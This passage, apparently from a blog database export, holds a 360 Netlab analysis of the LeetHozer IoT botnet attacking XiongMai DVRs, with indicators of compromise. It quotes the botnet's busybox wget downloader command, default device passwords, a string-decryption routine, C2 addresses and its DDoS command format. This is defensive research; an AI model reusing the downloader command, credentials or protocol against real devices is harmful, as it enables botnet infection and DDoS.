b.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/63d0f703918fa0ecb6e10b69319759ee3d6ddbb4.jpg\n\nhttp://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/2fdda3cc7cd98d107c1adf57363fb80e7aec908e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/574e9258d109b3de3570370edbbf6c81810a4c8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/71cf3bc79f3df8dc14f25cf7da11728b4610288d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/8694a4c27d1ed21bd806fd83ba6eddc450da3f8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/5bafa40f4bfbfbed5d96e5196ff0f736aec31f8d.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/2f738bd4b31c8701b7786180307f9e2f0608ff8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/503d269759ee3d6d620854ad54166d224e4ade8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/f7246b600c338744a60bfc1a460fd9f9d62aa08e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b7003af33a87e95054d9200a07385343faf2b48e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b17eca8065380cd7fdd0718bb644ad345882818e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/30adcbef76094b36d45cc88bb4cc7cd98c109d8e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/2fdda3cc7cd98d107c1adf57363fb80e7aec908e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/5d6034a85edf8db16ae0af021e23dd54574e748e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/314e251f95cad1c81b752f41683e6709c83d518e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/b812c8fcc3cec3fd32f07413c188d43f8694278e.jpg\nhttp://tiebapic.baidu.com/tieba/pic/item/50da81cb39dbb6fd8c9536401e24ab18962b378e.jpg\n```\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5ea254157646030007b2764c |
post | null | 2020-04-27T03:41:15.000Z | 63873b9a8b1c1e0007f52f70 | the-leethozer-botnet-en | 0 | 2020-04-29T01:26:39.000Z | public | published | null | 2020-04-27T14:00:00.000Z | The LeetHozer botnet | <!--kg-card-begin: markdown--><h2 id="background">Background</h2>
<p>On March 26, 2020, we captured a suspicious sample<code>11c1be44041a8e8ba05be9df336f9231</code>. Although the samples have the word mirai in their names and most antivirus engines identified it as Mirai, its network traffic is totally new,which had got our attention.</p>
<p>The sample borrowed some of Mirai’s Reporter and Loader mechanism, but the encryption method and Bot program, as well as C2 communication protocol had been totally redesigned.</p>
<p>For regular Mirai and their variations, normally the changes are fairly minor, changing C2s or encryption keys, or integrate some new vulnerabilities, nothing dramatic.</p>
<p>But this one is different. Its encryption method is unique, and communication protocol is more rigorous. Also it is very likely a new branch from the Moobot group and is in active development. (the author released a third version while we work on this article, adding some new function and changing Tor C2 :<code>vbrxmrhrjnnouvjf.onion:31337</code>)</p>
<p>So we think we should blog it and decide to name it LeetHozer because of the<code>H0z3r</code> string(<code>/bin/busybox wget http://37[.49.226.171:80/bins/mirai.m68k -O - > H0z3r;</code>)</p>
<p>The targets devices currently observed are mainly <a href="http://www.xiongmaitech.com/en/index.php/news/info/12/68">XiongMai H.264 and H.265 devices</a>.</p>
<h2 id="propagation">Propagation</h2>
<ul>
<li>In 2017, security researchers disclosed the vulnerability<a href="https://www.cnblogs.com/mmseh/p/6537924.html">[2]</a>.</li>
<li>2020-02-04 POC was released on github<a href="https://habr.com/en/post/486856/">[3]</a>。<a href="https://github.com/Snawoot/hisilicon-dvr-telnet">[4]</a>.</li>
<li>2020-02-11 We saw a <a href="__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/">moobot</a> variant we called <code>moobot_xor</code> exploiting this vulnerability.</li>
<li>2020-03-26 <code>LeetHozer</code> began to exploit the vulnerability.</li>
</ul>
<p>LeetHozer takes advantage of the vulnerability through the target device's TCP 9530 port to start the telnetd service, then login to the device with the default password to complete the infection process. The propagation process is shown in the figure:<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_flow.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_flow.png" class="kg-image"/></a></p>
<p>The source IP currently exploiting the vulnerability is around 4.5k per day.<br>
<a href="__GHOST_URL__/content/images/2020/04/dvr.9530.png"><img src="__GHOST_URL__/content/images/2020/04/dvr.9530.m.png" class="kg-image"/></a></p>
<p>LeetHozer and moobot_xor used the same unique string <code>/bin/busybox DNXXXFF</code> in their 9530 exploit. We also observed that at times they used the exact same downloader, so we speculate that moobot_xor and LeetHozer probably belong to the same organization or individual.</p>
<p>The time periods and the downloader shared by the two families are as follows:</p>
<pre><code>date=2020-03-26 08:11:46+08:00 md5=11c1be44041a8e8ba05be9df336f9231 family_name=LeetHozer url=http://185.172[.110.224/ab/i686
date=2020-03-26 08:11:39+08:00 md5=11c1be44041a8e8ba05be9df336f9231 family_name=LeetHozer url=http://185.172[.110.224/ab/i586
date=2020-03-26 08:11:39+08:00 md5=b7b2ae292bf182b0d91535770394ad93 family_name=moobot_xor url=http://185.172[.110.224/ab/arm
</code></pre>
<h2 id="therecentleethozerddostargetswecurrentlysee">The recent LeetHozer DDos targets we currently see</h2>
<pre><code>2020-04-07 37.49.226.171 31337 ddos tcpraw 45.83.128.252 ASN40676 Psychz_Networks
2020-04-07 37.49.226.171 31337 ddos udpplain 172.106.18.210 ASN40676 Psychz_Networks
2020-04-08 37.49.226.171 31337 ddos udpplain 185.172.110.224 ASN206898 Server_Hosting_Pty_Ltd
2020-04-11 w6gr2jqz3eag4ksi.onion 31337 ddos icmpecho 185.38.151.161 ASN25369 Hydra_Communications_Ltd
2020-04-13 37.49.226.171 31337 ddos icmpecho 73.99.44.254 ASN7922 Comcast_Cable_Communications,_LLC
2020-04-13 37.49.226.171 31337 ddos icmpecho 94.174.77.69 ASN5089 Virgin_Media_Limited
2020-04-13 37.49.226.171 31337 ddos udppplain 94.174.77.69 ASN5089 Virgin_Media_Limited
2020-04-16 37.49.226.171 31337 ddos icmpecho 117.27.239.28 ASN133774 Fuzhou
2020-04-16 37.49.226.171 31337 ddos icmpecho 185.172.110.224 ASN206898 Server_Hosting_Pty_Ltd
2020-04-16 37.49.226.171 31337 ddos icmpecho 52.47.76.48 ASN16509 Amazon.com,_Inc.
2020-04-16 37.49.226.171 31337 ddos tcpraw 117.27.239.28 ASN133774 Fuzhou
2020-04-16 37.49.226.171 31337 ddos tcpraw 162.248.93.234 ASN32374 Nuclearfallout_Enterprises,_Inc.
2020-04-16 37.49.226.171 31337 ddos udpplain 71.222.69.77 ASN209 CenturyLink_Communications,_LLC
2020-04-17 37.49.226.171 31337 ddos udpplain 117.27.239.28 ASN133774 Fuzhou
2020-04-18 37.49.226.171 31337 ddos tcpraw 76.164.193.89 ASN36114 Versaweb,_LLC
2020-04-18 37.49.226.171 31337 ddos udpplain 117.27.239.28 ASN133774 Fuzhou
2020-04-18 37.49.226.171 31337 ddos udpplain 66.150.188.101 ASN32374 Nuclearfallout_Enterprises,_Inc.
2020-04-19 37.49.226.171 31337 ddos tcpraw 117.27.239.28 ASN133774 Fuzhou
2020-04-19 37.49.226.171 31337 ddos udpplain 108.61.22.86 ASN20473 Choopa,_LLC
2020-04-19 37.49.226.171 31337 ddos udpplain 108.61.33.194 ASN20473 Choopa,_LLC
2020-04-19 37.49.226.171 31337 ddos udpplain 172.107.228.198 ASN40676 Psychz_Networks
2020-04-19 37.49.226.171 31337 ddos udpplain 192.99.226.11 ASN16276 OVH_SAS
2020-04-19 37.49.226.171 31337 ddos udpplain 209.58.147.245 ASN394380 Leaseweb_USA,_Inc.
2020-04-19 37.49.226.171 31337 ddos udpplain 24.46.209.115 ASN6128 Cablevision_Systems_Corp.
2020-04-19 37.49.226.171 31337 ddos udpplain 71.222.69.77 ASN209 CenturyLink_Communications,_LLC
2020-04-20 37.49.226.171 31337 ddos udpplain 139.28.218.180 ASN9009 M247_Ltd
2020-04-20 37.49.226.171 31337 ddos udpplain 74.91.122.90 ASN14586 Nuclearfallout_Enterprises,_Inc.
2020-04-23 37.49.226.171 31337 ddos icmpecho 162.244.55.107 ASN49544 i3D.net_B.V
2020-04-23 37.49.226.171 31337 ddos udpplain 162.244.55.107 ASN49544 i3D.net_B.V
</code></pre>
<h2 id="reverseanalysis">Reverse analysis</h2>
<p>At present, there are three versions of LeetHozer samples (We are going to focus on V2 as V3 is in development now). The difference between V1 and V2 is mainly that V2 supports more DDos attack methods.<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_version.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_version.png" class="kg-image"/></a><br>
We are going to take a quick look at the sample’s behavior, DDos command format, network communication below.</p>
<blockquote>
<p>MD5: 57212f7e253ecebd39ce5a8a6bd5d2df</p>
<p>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped</p>
<p>Packer: None</p>
<p>Library: uclibc</p>
<p>Version: V2</p>
</blockquote>
<h3 id="samplebehavior">Sample behavior</h3>
<p>The function of LeetHozer is relatively simple, when it runs on infected device, it operates the watchdog device,then write the pid to a file named <code>.1</code>, and prints out <code>/bin/sh:./a.out:not found</code> string to the console( to confuse the user?). After that, it starts to scan internet to find more devices with open port 9530, and try to use the vulnerability to open the telnetd service on more victim devices.</p>
<p>The sample also reports the infected device information to the reporter, and establishes communication with C2, waiting for instructions to launch DDos attack.</p>
<p>The sample uses a custom algorithm for encryptiton. The decryption algorithm is as follows:</p>
<pre><code>xorkey="qE6MGAbI"
def decode_str(ctxt):
for i in range(0,len(xorkey)):
plain=""
size=len(ctxt)
for idx in range(0, size):
ch=ord(ctxt[idx])
ch ^=(ord(xorkey[i]) + idx )
plain += chr(ch)
ctxt=plain
return ctxt
</code></pre>
<p>After decryption, the key information is as follows, including the watchdog devices, C2 to be operated by the Bot. The information will only be decrypted when it is needed by the bot.</p>
<table>
<thead>
<tr>
<th><strong>.1</strong></th>
<th><strong>/dev/watchdog</strong></th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>/dev/misc/watchdog</strong></td>
<td><strong>/bin/sh: ./a.out: not found</strong></td>
</tr>
<tr>
<td><strong>w6gr2jqz3eag4ksi.onion</strong></td>
<td></td>
</tr>
</tbody>
</table>
<p>The specific implementation of the Bot function is as follows:，</p>
<ol>
<li>
<p>Set watchdog to prevent device restart<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_dog-1.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_dog-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>Bot singleton through PID file<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_pid-1.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_pid-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>Scan, exploitation and report information</p>
<ul>
<li>
<p>mirai's fast port scan technique has been borrowed, the scanned port is 9530<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_scan.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_scan.png" class="kg-image"/></a></p>
</li>
<li>
<p>Use the vulnerability to enable the telnetd service and try to log in with the following credentials.</p>
<pre><code>root:xc3511
root:xmhdipc
root:klv123
root:123456
root:jvbzd
root:hi3518
root:tsgoingon
</code></pre>
</li>
<li>
<p>Report device information after successful login<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_report.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_report.png" class="kg-image"/></a></p>
</li>
</ul>
</li>
<li>
<p>Receive the C2 command and prepare for DDos attack. The attack commands supported by different versions are different.</p>
<table>
<thead>
<tr>
<th>version</th>
<th>command</th>
</tr>
</thead>
<tbody>
<tr>
<td>V1</td>
<td>tcpraw</td>
</tr>
<tr>
<td>v2</td>
<td>tcpraw;icmpecho;udpplain</td>
</tr>
</tbody>
</table>
<p>However, the data format of the attack command is the same, and its structure is <code>Header(6 bytes),Option1,Option2...</code>，in which the structure of Option is<code>Type(2 bytes),Len(2 bytes),Subtype(2 bytes),Contents( Len bytes),Padding</code>, the following takes an actual attack command as an example to explain the parsing process.</p>
<pre><code>00000000: 3E 00 3F 00 3A 00 01 00 08 00 04 00 75 64 70 70 >.?.:.......udpp
00000010: 6C 61 69 6E 00 00 00 00 01 00 0E 00 06 00 31 33 lain..........13
00000020: 39 2E 32 38 2E 32 31 38 2E 31 38 30 00 00 00 00 9.28.218.180....
00000030: 02 00 01 00 0C 00 50 00 02 00 01 00 05 00 64 00 ......P.......d.
----------------------------------------------------------------------------
Header: 3E 00 3F 00 3A 00, ----Little endian
0x003E ---- xor key
0x003A ---- 0x3A xor 0x3E = 4 个Option
Opt 1: 01 00 08 00 04 00, ----Little endian
0x0001 ----Type 1,Padding 4 bytes
0x0008 ----Content length,len("udpplain") = 8
0x0004 ----Subtype 4,Contents为attack vector
Contents: udpplain
Padding: 00 00 00 00
Opt 2: 01 00 0E 00 06 00, ----Little endian
0x0001 ----Type 1,Padding 4 bytes
0x000e ----Content length
0x0006 ----Subtype 6,Contents为attack target
Contents: 139.28.218.180
Padding: 00 00 00 00
Opt 3: 02 00 01 00 0c 00, ----Little endian
0x0002 ----Type 2,No Padding
0x0001 ----Type 2 Ignore this field，Contents length is always 2 bytes
0x000c ----Subtype 0xc,Contents为target port
Contents: 80
Opt 4: 02 00 01 00 05 00, ----Little endian
0x0002 ----Type 2,No Padding
0x0001 ----Type 2 Ignore this field，Contents length is always 2 bytes
0x0005 ----Subtype 0x05,Contents is attack duration
Contents: 0x0064
</code></pre>
</li>
</ol>
<h3 id="communicationprotocols">Communication protocols</h3>
<p>Two types of C2: Tor-C2 and IP-C2 has been used. The V2 version has both existed but the code branch where Tor-C2 is located will not be executed. It is likely the V2 version is not final yet.</p>
<ol>
<li>
<p>Tor-C2，supported by V1，Not used in V2.</p>
<pre><code> w6gr2jqz3eag4ksi.onion:31337
</code></pre>
</li>
<li>
<p>IP-C2，supported by V2.</p>
<pre><code>37.49.226.171:31337
</code></pre>
</li>
</ol>
<p>Tor-C2 has a pre-process to establish a connection through Tor proxy. After the connection between Bot and C2 is established, it takes two rounds of interaction for the bot to successfully go online.</p>
<ul>
<li>
<p>Establish a connection with C2 through Tor proxy<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_proxy.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_proxy.png" class="kg-image"/></a></p>
<p>The hardcode proxy list:</p>
<pre><code> 45.82.176.194:9034
91.236.251.131:9712
18.177.13.247:443
62.109.8.218:8888
82.99.213.98:9191
35.225.55.174:9251
194.99.22.206:9050
45.147.199.142:8060
47.104.188.20:8999
54.149.179.115:9050
195.128.102.178:9050
185.176.25.66:9002
54.188.106.141:9080
193.47.35.56:10000
88.193.137.205:9050
134.209.84.21:9119
194.58.111.244:9050
192.99.161.66:9050
193.47.35.53:9090
167.179.74.97:9251
185.30.228.141:9050
</code></pre>
</li>
<li>
<p>First round of interaction</p>
<p>The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way.<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_roundone.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_roundone.png" class="kg-image"/></a></p>
<p>The meaning of some key fields</p>
<table>
<thead>
<tr>
<th>offset</th>
<th>length</th>
<th>content</th>
<th>field meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>2 bytes</td>
<td>0x8f49</td>
<td>source port</td>
</tr>
<tr>
<td>0x02</td>
<td>2 bytes</td>
<td>0x7a69</td>
<td>hardcode</td>
</tr>
<tr>
<td>0x04</td>
<td>4 bytes</td>
<td>0x00004818</td>
<td>hardcode</td>
</tr>
<tr>
<td>0x0e</td>
<td>2 bytes</td>
<td>0x0001</td>
<td>first round</td>
</tr>
<tr>
<td>0x14</td>
<td>4 bytes</td>
<td>0x0051cc</td>
<td>checksum</td>
</tr>
</tbody>
</table>
<p>The calculation of checksum is as follows</p>
<pre><code>step 1: calc the sum of the first 12 WORD
(0x8f49+0x7a69+0x4818+0x0000+0x0000+0x0000
+0x0001+0x0000+0x0000+0x0000+0x000+0x0000) = 0x000151CB;
step 2:(HWORD(sum) + LWORD(sum)) >> 16
(0x0001+0x51CB) >> 16 = 0;
step 3:(HWORD(sum) + LWORD(sum)) && 0Xffff
(0x0001+0x51cb) && 0xffff = 0x000051cc
</code></pre>
<p>The first 32 bytes of the C2 reply packet are valid data. The packet length is 255 bytes,interpreted in little-endian way. The Bot will check the two valid flags. When the check passes, part of the data will be used for the second round of interaction.<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_roundonec.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_roundonec.png" class="kg-image"/></a></p>
<table>
<thead>
<tr>
<th>offset</th>
<th>length</th>
<th>content</th>
<th>field meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x04</td>
<td>4 bytes</td>
<td>0x000070f1</td>
<td>valid flag1</td>
</tr>
<tr>
<td>0x08</td>
<td>4 bytes</td>
<td>0x00004819</td>
<td>valid flag2</td>
</tr>
</tbody>
</table>
</li>
<li>
<p>Second round of interaction</p>
<p>The packet length sent by the Bot is 255 bytes, the first 32 bytes are valid data, and the data is interpreted in little-endian way. Most of the data comes from the C2 return packets from the previous step.<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_roundtwo.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_roundtwo.png" class="kg-image"/></a></p>
<table>
<thead>
<tr>
<th>offset</th>
<th>length</th>
<th>content</th>
<th>field meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00</td>
<td>8 bytes</td>
<td>0x7a697a69,0x000070f1</td>
<td>C2 reply in the round 1</td>
</tr>
<tr>
<td>0x08</td>
<td>4 bytes</td>
<td>0x000070f2</td>
<td>hardcode</td>
</tr>
<tr>
<td>0x0e</td>
<td>2 bytes</td>
<td>0x0002</td>
<td>second round</td>
</tr>
<tr>
<td>0x14</td>
<td>4 bytes</td>
<td>0x00d665</td>
<td>checksum</td>
</tr>
</tbody>
</table>
<p>The 32 bytes before the C2 reply packet are valid data. The packet length is 255 bytes,interpreted in little-endian way. The Bot will check two valid flags. When the check passes, the Bot's online process is completed.<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_roundtwoc.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_roundtwoc.png" class="kg-image"/></a></p>
<table>
<thead>
<tr>
<th>offset</th>
<th>length</th>
<th>content</th>
<th>field meaning</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x04</td>
<td>4 bytes</td>
<td>0x00002775</td>
<td>valid flag1</td>
</tr>
<tr>
<td>0x08</td>
<td>4 bytes</td>
<td>0x000070f2</td>
<td>valid flag2</td>
</tr>
</tbody>
</table>
</li>
</ul>
<p>At this point, the identity verification between the Bot and C2 is completed, and the Bot starts to wait for the C2 to issue instructions. The first byte of the C2 reply packet specifies the type of instruction.</p>
<ul>
<li>
<p>Instruction code: <code>0x00</code> indicates heartbeat<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_heart-1.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_heart-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>Instruction code: <code>0x01</code> indicates reporting Bot group information<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_group-1.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_group-1.png" class="kg-image"/></a></p>
</li>
<li>
<p>Instruction code: Not <code>0x00</code> <code>0x01</code> indicates DDoS attack.<br>
<a href="__GHOST_URL__/content/images/2020/04/hozer_attack-1.png"><img src="__GHOST_URL__/content/images/2020/04/hozer_attack-1.png" class="kg-image"/></a></p>
</li>
</ul>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">twitter</a> or email to netlab at 360 dot cn.</p>
<h2 id="ioclist">IoC list</h2>
<h3 id="c2">C2</h3>
<pre><code>vbrxmrhrjnnouvjf.onion:31337 #v3
37.49.226.171:31337 #v2
w6gr2jqz3eag4ksi.onion:31337 #v1
</code></pre>
<h3 id="md5">MD5</h3>
<pre><code>027d7e1cda6824bc076d0a586ea139f5
05a485caf78eca390439b7c893c0354b
068083b9d0820f3ac9cec10d03705649
08e1b88305ad138a4509fb6b72ae3d31
0a56855a6d56efe409c2b7a4c6113bcf
0dee2c063085d0c5466137a3c32479f2
0eecbfd368f821901f9ba758e267557a
110ec534e1c60fc47f37739f03c1bb6a
1111c252ee54c4a6614498e66cefb4e7
11c1be44041a8e8ba05be9df336f9231
121960341ab64a7e7686373dedfbc058
128a53e447266e4d0e12adb7c0b43159
129f41468303728b029def8dbc910e35
177de1bf8f90cbcea50fd19c1e3e8cfe
17b5d683d7b177760c8a2ffd749650b0
1aba422e02f0fbff5189399e01e272d4
21e7898b4b585b825d120c3b0fed8b8a
242d0c9386f61c3ac9ddcdbcda724f3e
25588d12bdbb4e4b1d946f2d5c89abf3
273afac3320ddceb0e18671a3e878fa3
2f066945cee892cc857d477d97d42d7c
30c60cfb51896e5d06012ec6cf15c588
3525d090ab1ab1739507ae1777a70b95
37d9fd56ce685717f1180615f555754e
3d24b9cafda55909fbfde16a5222b4d8
3f88cbbcaa3e0b410dcdb18ddb68d4c2
4229c19e6e5c2dc8560fae9b35841957
45a30d656b4767bce0058f80b0895a95
4e22d0079c18043b6d9037fb842d94ee
58a13abe621acc532b1b6d26eb121c61
5ed891c31bc86689cb93488f5746404a
5fafdc3e3ed7c38a204234e0146e5663
5fec7347f2a9a2ae798505135a61c47f
60bb6bf05c3e7f6f13f2374511963f79
669e5f3513ebfa9c30766da294036d6e
6c883cf42d63a672815e38223d241662
6e7e638d27971e060aaee1b9ae43fe4a
76d0285f95fbee81cff81948d5a98db0
7b08a0569506174463c83f50f8d65a8f
84d39f46c4694e176d8734dd53a07c2c
86072e88f28ebf357443300656c0349a
88a39f5bb8e271f3d080a9aaa6c4a44a
8dc36df1617d9c2be576fa02a5c24803
8e7d774441229809c9cfa8d8705b5258
90a63857f31714ff2c285eb6ca9af3d1
919308996155d7a9ec2f7a25a64eb759
91fe795b69880972e30929632d359b52
9a63001fe8f2d2d642bc2c8310a429e0
9c95be6e1e9927cc0171fc344fcceb71
a42550641cc709168c145b5739fca769
a579d46a571e123a9d65dcfe21910c87
a76fdf5b2f817dc1f2e3c241d552b9ae
aa469ab3eb6789104bda30c910f063f5
b0276d96976dd6b805a02141e78df927
b35733792393a08408773a141a94f668
b84fb91f818a2b221833cb6499e5d345
bd28cdf60b03fc302b0ed467b3ea7e43
c6e9c7e7b5370441b379fd0032af4a85
cc42951a01c07dc7034251fdcd08c778
cce2f84c925f30ba11afd817bdae9377
d9d2c7e131e2f19985fffe9a1f38bca1
db6b387ba0f1ab17785de63be55e7fb6
deb66817f026c50d6e78ace69db6f0e6
e8e249712b7ad0bb92ac5ebb1d0f3378
e9ee7ea21696c9e01257c7543d344487
eb210bc6a54c1faef3cc043d767a4c3b
ecf26cb853f2d22b705334cd9acdd3c2
f4aa925fb0d0eda1bdd4b52eecd7d870
fdd05db406a03601b9548aa7a1d07bb6
</code></pre>
<h3 id="downloader">Downloader</h3>
<pre><code>http://185[.172.110.224/ab/i586
http://185[.172.110.224/ab/i686
http://185[.172.110.224/uc/i686
http://185.225.19.57/aq/rxrg
http://188[.214.30.178/arm6
http://188[.214.30.178/arm7
http://188[.214.30.178/bot.arm
http://188[.214.30.178/bot.arm7
http://188[.214.30.178/bot.mips
http://188[.214.30.178/bot.mpsl
http://188[.214.30.178/bot.x86
http://188[.214.30.178/tn/arm
http://188[.214.30.178/tn/arm7
http://188[.214.30.178/tn/mips
http://188[.214.30.178/tn/mpsl
http://190[.115.18.144/arm6
http://190[.115.18.144/arm7
http://190[.115.18.144/bot.arm
http://190[.115.18.144/bot.arm7
http://190[.115.18.144/bot.mips
http://190[.115.18.144/bot.mpsl
http://190[.115.18.144/bot.x86
http://190[.115.18.144/tn/arm
http://190[.115.18.144/tn/arm7
http://190[.115.18.144/tn/mips
http://190[.115.18.144/tn/mpsl
http://37[.49.226.171/bins/mirai.arm
http://37[.49.226.171/bins/mirai.arm7
http://37[.49.226.171/bins/mirai.mpsl
http://37[.49.226.171/bins/mirai.sh4
http://37[.49.226.171/bins/mirai.x86
http://37[.49.226.171/mirai.arm
http://37[.49.226.171/mirai.arm7
http://37[.49.226.171/mirai.mpsl
http://37[.49.226.171/mirai.sh4
http://37[.49.226.171/mirai.x86
http://64[.225.64.58/arm
http://64[.225.64.58/arm5
http://64[.225.64.58/arm6
http://64[.225.64.58/arm7
http://64[.225.64.58/bot.arm
http://64[.225.64.58/bot.arm7
http://64[.225.64.58/bot.mips
http://64[.225.64.58/bot.mpsl
http://64[.225.64.58/bot.x86
http://64[.225.64.58/i586
http://64[.225.64.58/i686
http://64[.225.64.58/m68k
http://64[.225.64.58/mips
http://64[.225.64.58/mpsl
http://64[.225.64.58/sh4
http://64[.225.64.58/spc
http://64[.225.64.58/x86
</code></pre>
<h3 id="ip">IP</h3>
<pre><code>185.172.110.224 Netherlands ASN206898 Server_Hosting_Pty_Ltd
185.225.19.57 Romania ASN39798 MivoCloud_SRL
37.49.226.171 Netherlands ASN208666 Estro_Web_Services_Private_Limited
64.225.64.58 Netherlands ASN14061 DigitalOcean,_LLC
188.214.30.178 Romania ASN51177 THC_Projects_SRL
190.115.18.144 Russian ASN262254 DANCOM_LTD
</code></pre>
<!--kg-card-end: markdown--> | Background
On March 26, 2020, we captured a suspicious sample11c1be44041a8e8ba05be9df336f9231. Although the samples have the word mirai in their names and most antivirus engines identified it as Mirai, its network traffic is totally new,which had got our attention.
The sample borrowed some of Mirai’s Reporter and Loader mechanism, but the encryption method and Bot program, as well as C2 communication protocol had been totally redesigned.
For regular Mirai and their variations, normally the changes are fairly minor, changing C2s or encryption keys, or integrate some new vulnerabilities, nothing dramatic.
But this one is different. Its encryption method is unique, and communication protocol is more rigorous. Also it is very likely a new branch from the Moobot group and is in active development. (the author released a third version while we work on this article, adding some new function and changing Tor C2 :vbrxmrhrjnnouvjf.onion:31337)
